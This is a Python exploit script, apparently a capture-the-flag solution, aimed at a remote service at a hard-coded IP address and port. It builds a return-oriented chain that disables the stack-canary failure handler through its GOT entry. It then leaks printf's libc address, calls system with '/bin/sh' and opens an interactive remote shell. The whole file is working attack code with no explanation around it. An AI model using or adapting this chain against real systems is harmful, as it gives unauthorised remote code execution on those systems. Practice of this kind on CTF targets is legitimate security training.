#!/usr/bin/env python

import socket
import struct
import telnetlib
import sys

#s = socket.create_connection(("127.0.0.1", 1337))
s = socket.create_connection(("202.112.26.106", 5149))

def p(b):
    return struct.pack("<I", b)

def readtil(delim):
    buf = b''
    while not delim in buf:
        buf += s.recv(1)
    return buf

readtil("choice: ")
s.sendall("1\n")


# pop ebp; ret
pop_ebp_ret = 0x08048481

pop3 = 0x08048d8d

# ret
leave_ret = 0x0804846a

# printf @ got
printf_got = 0x0804b010

# puts @ plt
puts_plt = 0x08048510

# main menu
main_menu = 0x8048BC9

# custom read
custom_read = 0x80486CB

# buffer for custom read
buf = 0x804b1c0


# call [esi+0x53]; ret
call_esi = 0x08048d33


# __stk_chk_fail @ GOT
stk_chk_fail_got  = 0x804B01C

print "[+] Sending first stage - eliminating __stack_chk_fail"



s.sendall(p(leave_ret)+"jjjj" + "H"*0x50 + "j"*0x18 +p(pop3) + p(stk_chk_fail_got)+ "AAAA"*2 + p(puts_plt)+p(pop_ebp_ret)+p(printf_got)+p(custom_read) + p(pop3) + p(buf) + p(0x01010101)+"AAAA" + p(pop3)+ p(buf-0x53) + "AAAA"*2 + p(call_esi)+  p(buf+4) +"\n")


readtil("choice: ")
s.sendall("4\n")

printf_libc = struct.unpack("<I", s.recv(4))[0]
system_libc = printf_libc - 0x254c0

print "[+] printf @ " + hex(printf_libc)
print "[+] system @ " + hex(system_libc)
readtil("\n")
s.sendall(p(system_libc) +  "/bin/sh\x00\x0a")
print "[+] sent second stage"
print "[+] shell:"

t = telnetlib.Telnet()
t.sock = s
t.interact()


